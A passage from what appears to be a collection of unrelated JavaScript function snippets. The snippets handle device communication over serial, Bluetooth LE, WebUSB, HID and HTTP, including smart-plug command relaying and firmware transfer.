this is just for testing and should not be used\n this.serial = params.serial;\n } else {\n throw new Error(\"Must specify a TappyUSB device\");\n }\n\n this.isConnecting = false;\n this.hasAttached = false;\n this.disconnectImmediately = false;\n this.disconnectCb = function() {};\n\n this.dataReceivedCallback = function(bytes) {\n\n };\n this.errorCallback = function(data) {\n\n };\n this.readCallback = function(buff) {\n self.dataReceivedCallback(new Uint8Array(buff));\n };\n }","writeLoginSetting(data) {\n var arrData = [17,32,0,1,1,];\n const data_send = this.toUTF8Array(data);\n console.log('writeLoginSetting_1',data_send);\n for (var i =0; i < data_send.length; i++) {\n arrData.push(data_send[i]);\n }\n arrData[2] = arrData.length + 1;\n arrData[arrData.length] = this.calCheckSum(arrData);\n\n console.log('writeLoginSetting_2',arrData, this.byteToHexString(arrData));\n\n BleManager.writeWithoutResponse(this.props.mymac, 'fff0', 'fff5',arrData)\n .then(() => {\n console.log('--writeLoginSetting successfully: ',arrData);\n })\n .catch((error) => {\n console.log('--writeLoginSetting failed ',error);\n });\n }","function sendToSerial(data) {\n console.log(\"sending to serial: \" + data);\n port.write(data);\n}","function HandleResponse(avrNum, responseID, msg)\n{\n switch (responseID) {\n case 'a': // a = get serial number\n var avr;\n avrs[avrNum].avrSN = msg; // save s/n in device object\n for (var i=0; i= 8 && msg.substr(0,1) == 'm') {\n var n = msg.substr(1,1); // motor number\n var a = msg.split(' ');\n for (var i=0; i 0) continue;\n } else {\n // allow negative motor speed when at top limit\n if (motorSpd[mot] < 0) continue;\n }\n avrs[0].SendCmd(\"c.m\" + mot + \" halt\\n\");\n var which = isBottom ? \"lower\" : \"upper\";\n Log(\"M\" + mot + \" halted! (hit \" + which + \" limit switch)\");\n }\n }\n }\n } break;\n\n case 'z': // z = disable watchdog timer\n // forget about the unknown AVR\n avrs[avrNum].interfaces[0].endpoints[0].device = avrs[avrNum];\n avrs[avrNum].interfaces[0].endpoints[0].on('end', HandleEnd);\n avrs[avrNum].interfaces[0].endpoints[0].stopPoll();\n avrs[avrNum] = null;\n break;\n\n default:\n Log('AVR'+avrNum, 'Unknown response:', msg);\n break;\n }\n return avrNum;\n}","async function blxDeviceCmd (cmd, timeout_ms = DEV_TIMEOUT_MS) { // case dep.\n if (blxCmdBusy === true) {\n console.warn('*** BLX BUSY (Since ' + (Date.now() - blxCmdBusy_t0).toFixed(0) + ' msec) ***')\n return\n }\n\n if (full_connected_flag !== true) {\n if (NUS_device === undefined) {\n blxErrMsg = 'ERROR(DeviceCmd): Not Connected!'\n return\n } else {\n await blxConnectNus(0, 1) // Reconnect with SCAN\n if (blxErrMsg) return\n }\n }\n\n blxCmdBusy = true\n blxCmdLast = cmd\n blxCmdBusy_t0 = Date.now()\n await bleSendData(cmd)\n await wait_blx(timeout_ms)\n blxCmdBusy = false\n }","function send2LMviaBT(value) { //value is an arry of bytes\r\n //let encoder = new TextEncoder('utf-8');\r\n mDebugMsg1(1,'Setting Characteristic User Description...');\r\n gattCharacteristic.writeValue(value)\r\n .then(_ => {\r\n \t mDebugMsg1(1,'> Characteristic User Description changed to: ' + value);\r\n })\r\n .catch(error => {\r\n\t\t//todo9: userfriendly message\r\n \t mDebugMsg1(1,'Argh! ' + error);\r\n });\r\n\r\n\r\n }","async function requestBarcodePrinter() {\n console.log(navigator)\n navigator.usb &&\n navigator.usb\n .requestDevice({\n filters: [\n {\n vendorId: 5380,\n // classCode: 0xff, // vendor-specific\n // protocolCode: 0x01,\n },\n ],\n })\n .then(selectedDevice => {\n setBarcodePrinter(selectedDevice)\n })\n .catch(errorInfo => {\n console.log(errorInfo)\n // message.error(i18n.t`Cannot find label printer`)\n })\n }","_sendData() {\n\n }","function sendData() {\n // convert the value to an ASCII string before sending it:\n serialPort.write(brightness.toString());\n console.log('Sending ' + brightness + ' out the serial port');\n }","function raspiWrite(component, value){\t\n\tconst data = {\n\t\tValue: value\n\t};\n\n\tconst option = {\n\t\tmethod: 'POST',\n\t\tbody: JSON.stringify(data), \n\t\theaders:{\n\t\t\t'Content-Type': 'application/json'\n\t\t}\n\t}\n\tfetch('/raspi/' + component, option)\n\t.then(console.log(\"LED actualizado\"));\n}","function sendRequest(sensorType, isSensorOn, dataByte) {\n var newRequest = new XMLHttpRequest();\n newRequest.open(\"POST\", `http://${window.location.host}/pi_data`, true);\n newRequest.setRequestHeader(\"Content-Type\", \"application/json\");\n newRequest.send(\n JSON.stringify({\n sensor: sensorType,\n isSensorOn: isSensorOn,\n mode: dataByte,\n })\n );\n}","function trans_appbin(idx) {\n let btdev = btdevs[idx];\n let seq = btdev.wrtseq;\n\n showProgress(idx);\n\n if (seq >= mrbbin.byteLength / mrb_chunk_size) {\n btdev.wrtseq = -1;\n let buf = [0x07, 0x70, 0x61, 0x73, 0x73, 0x00];\n btdev.bt.write(\"WriteApp\", buf);\n console.log(\"Transfer completed. idx=\" + idx);\n return;\n }\n\n // var binbuf = [0x06, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0];\n // binbuf[1] = Math.floor(seq / 256);\n // binbuf[2] = seq % 256;\n btdev.binbuf[1] = Math.floor(seq / 256);\n btdev.binbuf[2] = seq % 256;\n\n for (var i=0; i {\n let allData = \"\";\n res.on('data', function(data) { allData += data; });\n res.on('close', function(data) { console.log(\"Closed: \" + allData); }); \n }).end(content);\n}","function sendData() {\n // convert the value to an ASCII string before sending it:\n myPort.write(brightness.toString());\n console.log('Sending ' + brightness + ' out the serial port');\n // increment brightness by 10 points. Rollover if > 255:\n if (brightness < 255) {\n brightness+= 10;\n } else {\n brightness = 0;\n }\n }","function processDeviceCommand(request, response) {\r\n\tvar command = request.headers[\"tplink-command\"]\r\n\tvar deviceIP = request.headers[\"tplink-iot-ip\"]\r\n\tvar respMsg = \"deviceCommand sending to IP: \" + deviceIP + \" Command: \" + command\r\n\tconsole.log(respMsg)\r\n\tvar action = request.headers[\"action\"]\r\n\tresponse.setHeader(\"action\", action)\r\n\tvar socket = net.connect(9999, deviceIP)\r\n\tsocket.setKeepAlive(false)\r\n\tsocket.setTimeout(6000)\r\n\tsocket.on('connect', () => {\r\n\t\tsocket.write(TcpEncrypt(command))\r\n\t})\r\n\tsocket.on('data', (data) => {\r\n\t\tsocket.end()\r\n\t\tdata = decrypt(data.slice(4)).toString('ascii')\r\n\t\tresponse.setHeader(\"cmd-response\", data)\r\n\t\tresponse.end()\r\n\t\tvar respMsg = \"Command Response sent to SmartThings\"\r\n\t\tconsole.log(respMsg)\r\n\t}).on('timeout', () => {\r\n\t\tresponse.setHeader(\"cmd-response\", \"TcpTimeout\")\r\n\t\tresponse.end()\r\n\t\tsocket.end()\r\n\t\tvar respMsg = new Date() + \"\\n#### TCP Timeout in deviceCommand for IP: \" + deviceIP + \" ,command: \" + command\r\n\t\tconsole.log(respMsg)\r\n\t\tlogResponse(respMsg)\r\n\t}).on('error', (err) => {\r\n\t\tsocket.end()\r\n\t\tvar respMsg = new Date() + \"\\n#### Socket Error in deviceCommand for IP: \" + deviceIP + \" ,command: \" + command\r\n\t\tconsole.log(respMsg)\r\n\t\tlogResponse(respMsg)\r\n\t})\r\n}","OLDsendFirmware(data) {\n console.log('[3] bleTransport: TODO sendFirmware(data)');\n console.log('[3] bleTransport: data =', data);\n return Promise.resolve();\n /*TODO\n this._emitInitializeEvent(ObjectType.DATA);\n return this.getFirmwareState(data)\n .then(state => {\n this._debug(`Sending firmware: ${state.toString()}`);\n const objects = state.remainingObjects;\n if (state.hasResumablePartialObject) {\n const object = state.remainingPartialObject;\n return this._resumeWriteObject(object, ObjectType.DATA, state.offset, state.crc32).then(progress =>\n this._createAndWriteObjects(objects, ObjectType.DATA, progress.offset, progress.crc32));\n }\n return this._createAndWriteObjects(objects, ObjectType.DATA, state.offset, state.crc32);\n });\n */\n }","sendSendSerialPortsMessageToServer() {\n var message = {};\n this.sendMessageToServer('sendSerialPorts', message);\n }","async enableSimpleHIDMode() {\n const outputReportID = 0x01;\n const subcommand = [0x03, 0x3f];\n const data = [\n 0x00,\n 0x00,\n 0x00,\n 0x00,\n 0x00,\n 0x00,\n 0x00,\n 0x00,\n 0x00,\n ...subcommand,\n ];\n await this.device.sendReport(outputReportID, new Uint8Array(data));\n }","readFromDevice() {\n this.device.transferIn(5, 64).then(result => {\n const decoder = new TextDecoder();\n this.rstring += decoder.decode(result.data);\n // do a quick JSON smoketest (should do better with decoder/streaming)\n const startIdx = this.rstring.indexOf('{');\n if(startIdx > 0) this.rstring = this.rstring.substring(startIdx);\n const endIdx = this.rstring.indexOf('}');\n if(endIdx > -1) {\n const parseStr = this.rstring.substring(0, endIdx+1);\n this.rstring = this.rstring.substring(endIdx+1);\n try {\n const msg = JSON.parse(parseStr);\n this._handleMessage(msg);\n // this.dispatchEvent(new CustomEvent('ek-event', {detail:msg}), {bubbles: true});\n } catch(e) {\n console.log(\"NOT JSON:\",parseStr);\n }\n this.rstring = \"\";\n }\n this.readFromDevice();\n })\n .catch(error => { \n console.log(error);\n this.emitMessage(this.device.serialNumber, \"\");\n this.emitDisconnected(this.device.serialNumber);\n this.device = null;\n this.rstring = \"\";\n });\n }","function arduinoTest() {\n return request;\n}","function cerial() {\n getPortInfo()\n .then( (portDetails) => handleSensor(portDetails))\n .catch((error) => console.log(error));\n // port.write('ROBOT PLEASE RESPOND\\n');\n // The parser will emit any string response\n}","function sendData(blob) {\n\n\t// sends data to flask url /upload_sound as a post with data blob - in format for wav file, hopefully. it is a promise\n\tfetch(\"/upload_sound\", {\n\tmethod: \"post\",\n\tbody: blob\n\t});\n}","function requestDevStatus() {\n if(mConnectedToDev) {\n return;\n }\n\n mNbReqStatusRetry++;\n if(mNbReqStatusRetry >= 6) {\n logger.warn('[ctrl-test] Request device status without response. Stop!');\n return;\n }\n\n devComm.sendStatusReportReq(SelectedGW);\n\n setTimeout(requestDevStatus, 5*1000);\n\n }","async sendBinaryRequest(path, params) {\n if (LibraryUtils.getLogLevel() >= 2) console.log(\"sendBinaryRequest(\" + path + \", \" + JSON.stringify(params) + \")\");\n \n // load wasm module\n await LibraryUtils.loadKeysModule();\n \n // serialize params\n let paramsBin = MoneroUtils.jsonToBinary(params);\n \n try {\n \n // send http request\n let resp = await HttpClient.request({\n method: \"POST\",\n uri: this.getUri() + '/' + path,\n username: this.getUsername(),\n password: this.getPassword(),\n body: paramsBin,\n rejectUnauthorized: this.config.rejectUnauthorized,\n requestApi: GenUtils.isFirefox() ? \"xhr\" : \"fetch\"\n });\n \n // validate response\n MoneroRpcConnection.validateHttpResponse(resp);\n \n // process response\n resp = resp.body;\n if (!(resp instanceof Uint8Array)) {\n console.error(\"resp is not uint8array\");\n console.error(resp);\n }\n if (resp.error) throw new MoneroRpcError(resp.error.message, resp.error.code, path, params);\n return resp;\n } catch (err) {\n if (err instanceof MoneroRpcError) throw err;\n else throw new MoneroRpcError(err, undefined, path, params);\n }\n }","function transmitAudioHexBytes(audioBlob) {\n\tvar myReader = new FileReaderSync(); // FIX - Firefox does not support\n\t\t\t\t\t\t\t\t\t\t\t// FileReader()\n\tvar arrayBuffer = myReader.readAsArrayBuffer(audioBlob);\n\tvar binaryHexData = buildMessage(\"DATA\", \"\");\n\tvar view = new DataView(arrayBuffer);\n\tvar viewLen = view.byteLength;\n\tfor (var i = 0; i < viewLen; binaryHexData += (\"00\" + view.getUint8(i++)\n\t\t\t.toString(16)).substr(-2).toUpperCase())\n\t\t;\n\tconsole.log(\"socketSend@main \" + binaryHexData.length);\n\twsSnd.send(binaryHexData);\n}","function chromeAppMessageHandler(response) {\n console.debug(response);\n switch (response.responder) {\n case \"list\":\n const list_html = generateDropDownList(response.data);\n document.querySelector(\"#device-select\").innerHTML = list_html;\n document.querySelector(\"#device-select\").dispatchEvent(change_event);\n break;\n case \"connect\":\n device_connected = true;\n $(\"#connect\")\n .removeClass(\"btn-outline-success\")\n .addClass(\"btn-outline-danger\")\n .text(\"Disconnect\");\n document.querySelector(\"#baudrate\").setAttribute(\"disabled\", \"disabled\");\n document\n .querySelector(\"#device-select\")\n .setAttribute(\"disabled\", \"disabled\");\n break;\n case \"disconnect\":\n // TODO(kammce): Actually evaluate that the device has connected properly\n device_connected = false;\n table_init = false;\n telemetry_raw = \"\\r\\n\";\n $(\"#connect\")\n .addClass(\"btn-outline-success\")\n .removeClass(\"btn-outline-danger\")\n .text(\"Connect\");\n document.querySelector(\"#baudrate\").removeAttribute(\"disabled\");\n document.querySelector(\"#device-select\").removeAttribute(\"disabled\");\n $(\"#refresh\").click();\n break;\n case \"update\":\n break;\n case \"read\":\n term.write(response.data.replace(/\\n/g, \"\\r\\n\"));\n break;\n default:\n console.warn(\"Unknown response\");\n break;\n }\n}","_pingDevice () {\n this._ble.read(\n BoostBLE.service,\n BoostBLE.characteristic,\n false\n );\n }","sendFormatDataResponsePDU() {\n\n const bufs = Buffer.from(this.content + '\\x00', 'ucs2');\n\n this.send(new type.Component({\n msgType: new type.UInt16Le(data.ClipPDUMsgType.CB_FORMAT_DATA_RESPONSE),\n msgFlags: new type.UInt16Le(0x01),\n dataLen: new type.UInt32Le(bufs.length),\n requestedFormatData: new type.BinaryString(bufs, { readLength: new type.CallableValue(bufs.length) })\n }));\n\n }","function HandleData(data)\n{\n var avrNum = this.avrNum;\n if (avrNum == null) {\n Log('Data from unknown device!');\n return;\n }\n var str = data.toString();\n // wait for null at end of string\n var j = str.indexOf('\\0');\n if (j > -1) str = str.substr(0, j); // remove null\n // process each response separately\n var lines = str.split(\"\\n\");\n var id;\n for (j=0; j= 4 && str.substr(1,1) == '.') {\n id = str.substr(0,1);\n str = str.substr(2);\n }\n if (id != 'e') {\n if (str.substr(0,2) != 'OK') {\n Log('AVR'+avrNum, 'Bad response:', str);\n continue;\n }\n str = str.substr(3);\n }\n // ignore truncated responses (may happen at startup if commands\n // were sent before AVR was fully initialized)\n if (!id) continue;\n avrOK[avrNum] = 1;\n avrNum = HandleResponse(avrNum, id, str);\n }\n}","function appxsendfilehandler(x) {\r\n if (appxIsLocalReady()) {\r\n switch (x.messagepart) {\r\n case -1:\r\n var msgfilenamedata = [];\r\n var filepath = appx_session.currsendfile.filename;\r\n appxClearStatusMsgText();\r\n appxSetStatusText(\"Saving File...\");\r\n appx_session.currsendfile.filedata = [];\r\n setTimeout(function setTimeout1() {\r\n //send client file path length\r\n var ms = {\r\n cmd: 'appxmessage',\r\n args: hton32(filepath.length),\r\n handler: 'appxsendfilehandler',\r\n data: null\r\n };\r\n appx_session.ws.send(JSON.stringify(ms));\r\n //send client file path\r\n for (var vi = 0; vi < filepath.length; vi++) {\r\n msgfilenamedata.push(filepath.charCodeAt(vi));\r\n }\r\n var ms = {\r\n cmd: 'appxmessage',\r\n args: msgfilenamedata,\r\n handler: 'appxsendfilehandler',\r\n data: null\r\n };\r\n appx_session.ws.send(JSON.stringify(ms));\r\n //send client status EOF\r\n var ms = {\r\n cmd: 'appxmessage',\r\n args: [3, 1],\r\n handler: 'appxsendfilehandler',\r\n data: null\r\n };\r\n appx_session.ws.send(JSON.stringify(ms));\r\n appxClearStatusMsgText();\r\n appxSetStatusText(\"File Download Complete...\");\r\n setTimeout(function setTimeout2() {\r\n if ($(\"#appx-status-msg\").html() === \"File Download Complete...\") {\r\n appxClearStatusMsgText();\r\n }\r\n }, 1000);\r\n }, appx_session.currsendfile.blocksreceived * 1); //end setTimeout\r\n\r\n break;\r\n case 3:\r\n appx_session.currsendfile.filename = x.data.filename;\r\n appx_session.currsendfile.guid = Math.floor((Math.random() * 1000000) + 1);\r\n appx_session.currsendfile.filedatareceived = 0;\r\n appx_session.currsendfile.blocksreceived = 0;\r\n appx_session.currsendfile.datalengthneeded = x.data.datalength;\r\n if (appx_session.currsendfile.filename.indexOf(\"$(\") > -1) {\r\n appx_session.currsendfile.filename = appx_session.parseOption(appx_session.currsendfile.filename);\r\n }\r\n else {\r\n appx_session.currsendfile.filename = appx_session.currsendfile.filename;\r\n }\r\n if (appx_session.currsendfile.filename.indexOf(\"/\") == -1 && appx_session.currsendfile.filename.indexOf(\"\\\\\") == -1) {\r\n appx_session.currsendfile.filename = appx_session.parseOption(\"$(userHome)\" + appx_session.fileseparatorchar + appx_session.currsendfile.filename);\r\n }\r\n appxClearStatusMsgText();\r\n appxSetStatusText(\"Creating File: \" + appx_session.currsendfile.filename);\r\n appx_session.currsendfile.filecreated = false;\r\n CreateFile(appx_session.currsendfile);\r\n break;\r\n case 5:\r\n appx_session.currsendfile.blocksreceived += 1;\r\n appx_session.currsendfile.filedatareceived += x.data.length;\r\n appxClearStatusMsgText();\r\n appxSetStatusText(\"File Downloading... Received: \" + appx_session.currsendfile.filedatareceived + \" Bytes of \" + appx_session.currsendfile.datalengthneeded.toString() + \" Needed\");\r\n AppendFile(x.data);\r\n break;\r\n\r\n default:\r\n //append data to file via local connector\r\n break;\r\n }\r\n }\r\n else {\r\n //send client status EOF\r\n if (x.messagepart != -1) {\r\n var ms = {\r\n cmd: 'appxmessage',\r\n args: [0, 0],\r\n handler: 'appxsendfilehandler',\r\n data: null\r\n };\r\n appx_session.ws.send(JSON.stringify(ms));\r\n }\r\n }\r\n}","function readSerialData(data) {\n console.log(data.toString());\n sendit({method: 'data', data: data.toString()});\n}","function performPowerActionResponse(stack, name, responses, status) {\n const dev = stack.dev;\n const action = dev.powerAction;\n delete dev.powerAction;\n if (obj.amtDevices[dev.nodeid] == null) return; // Device no longer exists, ignore this response.\n if (status != 200) return;\n\n // If this is Intel AMT 10 or higher and we are trying to wake the device, send an OS wake.\n // This will wake the device from \"Modern Standby\".\n if ((action == 2) && (dev.aquired.majorver > 9)) {\n try { dev.amtstack.RequestOSPowerStateChange(2, function (stack, name, response, status) { }); } catch (ex) { }\n }\n }","async function sendPicture() {\n const req = {\n imagebytes: bas64,\n }\n alert('Enviado com sucesso');\n }","async function enableBloodPressure() {\n const command = hexToBase64(\"55 aa 04 02 01 f8\");\n // console.log(\"TCL: enableBloodPressure -> command\", command)\n const didWrite = await Bluetooth.writeToDevice(command);\n // console.log(\"TCL: enableBloodPressure -> didWrite\", didWrite)\n return didWrite;\n}","function transferByte(b) {\n\treturn new Promise((resolve, reject) => {\n\t\tlet txBuff = new Buffer([reverseByte(b)]);\n\t\tlet rxBuff = new Buffer(1);\n\t\tRPIO.spiTransfer(txBuff, rxBuff, 1);\n resolve(reverseByte(rxBuff[0]));\n\t});\n}","function fx000(res) {\n global.clog(\"[ss_reqHan][fx000][SENT]\");\n res.writeHead(200, { \"Content-Type\": \"audio/wav\" }); \n var sendingfile = fs.readFileSync(views.sfx() + '/fx000.wav');\n res.write(sendingfile);\n res.end();\n}","async function requestBLEDevice(){\n let result = Promise.resolve()\n if (ble.connected == false){\n console.log('Requesting ble device...')\n wdm('Requesting bluetooth device list')\n // let options = {filters: [ {name: ble.name}, {services:[ ble.customserviceUUID ]} ]}\n let options = {filters: [ {namePrefix: ble.namePrefix}, {services:[ ble.customserviceUUID ]} ]}\n\n try{\n device = await navigator.bluetooth.requestDevice(options)\n console.log(\"found a device\",device)\n console.log(device.name)\n console.log(device.uuids)\n var textstr = \"found a device name: \" + device.name + \"
\" + \"id: \" + device.id\n ble.statustext = textstr\n \n ble.device=device\n ble.device.addEventListener('gattserverdisconnected',onDisconnectedBLE)\n }\n catch(error){\n if (ble.connected == false){\n var textstr = 'Still waiting for user to select device'\n console.log(textstr)\n ble.statustext = ble.statustext + \"
\" + textstr\n \n return error\n }\n }\n }\n return result\n}","inbound(count, obj) {\n console.log(`vat-http.inbound (from browser) ${count}`, obj);\n const p = Promise.resolve(handler[obj.type](obj));\n p.then(\n res => D(commandDevice).sendResponse(count, false, harden(res)),\n rej => D(commandDevice).sendResponse(count, true, harden(rej)),\n );\n }","function send_button_state(hex_state) {\n $.ajax({\n url: \"webpower/set/\" + hex_state,\n success: function() {\n console.log(\"sent: \" + hex_state)\n },\n });\n }","actuateBell(req, res) {\n const keyValuePairs = req.body.split('|') || [''];\n const command = getUltralightCommand(keyValuePairs[0]);\n const deviceId = 'bell' + req.params.id;\n const result = keyValuePairs[0] + '| ' + command;\n\n if (IoTDevices.notFound(deviceId)) {\n return res.status(404).send(result + NOT_OK);\n } else if (IoTDevices.isUnknownCommand('bell', command)) {\n return res.status(422).send(result + NOT_OK);\n }\n\n // Update device state\n IoTDevices.actuateDevice(deviceId, command);\n return res.status(200).send(result + OK);\n }","send(msg) {\n if (this.connectionId < 0) {\n throw 'Invalid connection';\n }\n chrome.serial.send(this.connectionId, str2ab(msg), function () {\n });\n }","function sendPost(data, callback) {\nvar options = {\n host: 'ws.audioscrobbler.com',\n path: '/2.0/',\n method: 'POST',\n headers: {\n 'Content-Type': 'application/x-www-form-urlencoded',\n 'Content-Length': data.length\n }\n }\n , doPOST = http.request(options, function(request) {\n var reqReturn = ''\n request.setEncoding('utf8')\n request.on('data', function(chunk) {\n reqReturn += chunk\n })\n request.on('end', function() {\n // console.log('[POST RESPONSE] : ' + reqReturn)\n if (typeof(callback) == 'function')\n callback(reqReturn)\n })\n }).on('error', function(err) {\n // TODO\n })\ndoPOST.write(data)\ndoPOST.end()\n}","function sendPostResponse() {\n\t\t\t\t\t\n\t\t\t\t\tvar delaySend = false;\n\t\t\t\t\t// build appropriate response\n\t\t\t\t\tswitch(command) {\n\t\t\t\t\t\tcase 'end':\n\t\t\t\t\t\tcase 'continue':\n\t\t\t\t\t\t\tutils.info('server : Building \"continue\" response');\n\t\t\t\t\t\tcase 'start':\n\t\t\t\t\t\t\tmessage = {Op:'ok', id:deviceId};\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\n\t\t\t\t\t\tcase 'device_ready':\n\t\t\t\t\t\t\tutils.info('server : Building \"device_ready\" response:');\n\t\t\t\t\t\t\tvar task = device.taskGroup.getNextTest();\n\t\t\t\t\t\t\tif(task) {\n\t\t\t\t\t\t\t\tutils.info('\\tSending next task: ' + task);\n\t\t\t\t\t\t\t\tmessage = {Op:'ok', test:task};\n\t\t\t\t\t\t\t} else { // no more tasks, report\n\n\t\t\t\t\t\t\t\tutils.info('server : Is test done: ' + clientConnection.isTestDone);\n\t\t\t\t\t\t\t\tif(!clientConnection.isTestDone) {\n\t\t\t\t\t\t\t\t\tutils.info('server : setting istestdone to true');\n\t\t\t\t\t\t\t\t\tclientConnection.isTestDone = true;\n\t\t\t\t\t\t\t\t\tclientConnection.reporter.createReport();\n\t\t\t\t\t\t\t\t\tif(File.exists(path.join(END_GAME_LOCATION, 'Code', 'Main.js'))) {\n\t\t\t\t\t\t\t\t\t\tutils.info('\\tSending EndGame');\n\t\t\t\t\t\t\t\t\t\tmessage = {Op:'ok', test:'/' + END_GAME_LOCATION};\n\t\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tutils.info('is the next test ready?',\n\t\t\t\t\t\t\t\t clientConnection.isNextTestReady);\n\t\t\t\t\t\t\t\tif(clientConnection.isNextTestReady) {\n\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\tclientConnection.isTestDone = false;\n\t\t\t\t\t\t\t\t\tclientConnection.isNextTestReady = false;\n\t\t\t\t\t\t\t\t\tdevice.taskGroup.restart();\n\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\t\tutils.info('\\tNo more tasks.');\n\t\t\t\t\t\t\t\t\tmessage = {Op:'nada'};\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase 'sdk_social_test_start':\n\t\t\t\t\t\t\tutils.info('Adding US Social test set');\n\t\t\t\t\t\t\tdevice.addToTaskGroup(AUTO_SDK_SOCIAL_TEST_LOC);\n\t\t\t\t\t\t\tmessage = {Op:'ok'};\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase 'social_test_start':\n\t\t\t\t\t\t\tutils.info('setting tests to social_test_start');\n\t\t\t\t\t\t\tdevice.setTaskGroup('Social_Tests', AUTO_SOCIAL_TEST_LOC);\n\t\t\t\t\t\t\tmessage = {Op:'ok'};\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase 'task_finished':\n\t\t\t\t\t\tcase 'log_start':\n\t\t\t\t\t\t\tmessage = {Op:'ok'};\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase 'log_end':\n\t\t\t\t\t\t\t// hold off on sending response if previous messages\n\t\t\t\t\t\t\t// have yet to be received\n\t\t\t\t\t\t\tif(clientConnection.isLogFinished()) {\n\t\t\t\t\t\t\t\tmessage = {Op:'ok'};\n\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\t// if previous message never gets resent, we need to send\n\t\t\t\t\t\t\t\t// the response after a timeout\n\t\t\t\t\t\t\t\tif(delaySend === false) {\n\t\t\t\t\t\t\t\t\tsetTimeout(function () {\n\t\t\t\t\t\t\t\t\t\tif(clientConnection.isDelayedResponseSet() === true) {\n\t\t\t\t\t\t\t\t\t\t\tutils.info('Did not receive all past messages in 2 minutes --> sending response (' + deviceId + ')');\n\t\t\t\t\t\t\t\t\t\t\tclientConnection.flush();\n\t\t\t\t\t\t\t\t\t\t\tclientConnection.sendDelayedResponse();\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t}, 120000);\n\t\t\t\t\t\t\t\t\tdelaySend = true;\n\t\t\t\t\t\t\t\t\tclientConnection.setDelayedResponse(response);\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tdefault:\n\t\t\t\t\t\t\tmessage = '';\n\t\t\t\t\t}\n\t\t\t\t\n\t\t\t\t\tif(!delaySend) {\n\t\t\t\t\t\tsendResponse(200, message);\n\t\t\t\t\t}\n\n\t\t\t\t}","function transmit(fullBuffer) {\n\twsSnd.send(\"\" + fullBuffer.length + \" \");\n\tvar siz = 2048;\n\tvar idx, tmpBuf;\n\tfor (idx = 0; idx <= fullBuffer.length; idx += siz) {\n\t\ttmpBuf = fullBuffer.slice(idx, idx + siz);\n\t\twsSnd.send(tmpBuf);\n\t}\n\tif (idx != fullBuffer.length) {\n\t\ttmpBuf = fullBuffer.slice(idx, fullBuffer.length);\n\t\twsSnd.send(tmpBuf);\n\t}\n\twsSnd.send(\" \");\n\tconsole.log(\"TRANSMIT START\");\n}","function btn_OnTouch() {\n bt.Connect(\"SerialBT\");\n}","XXX_start_dfu(program_mode , image_size_packet) { //see sendStartPacket\n return new Promise((resolve, reject) => {\n var BAprogram_mode = Buffer.alloc( 1, [ (program_mode & 0x000000ff) ]);\n console.log(\"Sending 'START DFU' command\");\n this._send_control_data(/*DfuOpcodesBle.START_DFU*/ 0x01, BAprogram_mode) // 0x01 0x04\n .then( () => this._send_packet_data(image_size_packet) )\n .then( () => this.waitForControlNotify( /*this.get_received_response, true, 10.0, 'response for START DFU'*/) )\n .then( () => {/*console.log('$%#&%#&%#%#%#');*/ resolve() }) ////WTFWTFWTF\n //TODO .then( () => this._clear_received_response() )\n });\n }","function systemCommandResponseCallback(error, stdout, stderr)\n {\n var responseString =\n 'stdout: ' + pipeToString(stdout)\n + 'stderr: ' + pipeToString(stderr)\n + 'error: ' + error;\n\n \t// Write the response and close the request\n\t\tserverResponse.writeHead(200, { \"Content-Type\": \"text/plain\" });\n\t\tserverResponse.end(\"RPi RESPONSE:\\n\" + responseString);\n serverResponse.end();\n }","async postAPI(url, values) {\n\t\tthis.log.debug('Post API called for : ' + url + ' and values : ' + JSON.stringify(values));\n\t\ttry {\n\t\t\tconst result = axios.post(url, values)\n\t\t\t\t.then((response) => {\n\t\t\t\t\treturn response.data;\n\t\t\t\t})\n\t\t\t\t.catch((error) => {\n\t\t\t\t\tthis.log.error('Sending command to WLED device + ' + url + ' failed with error ' + error);\n\t\t\t\t\treturn error;\n\t\t\t\t});\n\t\t\treturn result;\n\t\t} catch (error) {\n\t\t\tthis.log.error(error);\n\t\t}\n\t}","function onRequest(request, response){\r\n\tvar command = request.headers[\"command\"]\r\n\tvar deviceIP = request.headers[\"tplink-iot-ip\"]\r\n\tvar cmdRcvd = \"\\n\\r\" + new Date() + \"\\r\\nIP: \" + deviceIP + \" sent command \" + command\r\n\tconsole.log(\" \")\r\n\tconsole.log(cmdRcvd)\r\n\tswitch(command) {\r\n\t\t//---- (BridgeDH - Poll for Server APP ------------------\r\n\t\tcase \"pollServer\":\r\n\t\t\tresponse.setHeader(\"cmd-response\", \"ok\")\r\n\t\t\tresponse.end()\r\n\t\t\tvar respMsg = \"Server Poll response sent to SmartThings\"\r\n\t\t\tconsole.log(respMsg)\r\n\t\tbreak\r\n\r\n\t\t//---- TP-Link Device Command ---------------------------\r\n\t\tcase \"deviceCommand\":\r\n\t\t\t//----- Simulated power data Selection ----------------------\r\n\t\t\tvar command = request.headers[\"tplink-command\"]\r\n\t\t\tvar action = request.headers[\"action\"]\r\n\t\t\tif (action == \"onWatts\") {\r\n\t\t\t\tresponse.setHeader(\"action\", \"energyMeterResponse\")\r\n\t\t\t\tresponse.setHeader(\"cmd-response\", onWatts)\r\n\t\t\t\tresponse.end()\r\n\t\t\t} else if (action == \"offWatts\") {\r\n\t\t\t\tresponse.setHeader(\"action\", \"energyMeterResponse\")\r\n\t\t\t\tresponse.setHeader(\"cmd-response\", offWatts)\r\n\t\t\t\tresponse.end()\r\n\t\t\t} else {\r\n\t\t\t//----- Real data ----------------------\r\n\t\t\t\tprocessDeviceCommand(request, response)\r\n\t\t\t}\r\n\t\t\tbreak\r\n\t\r\n\t\t//---- Energy Meter Simulated Data Return 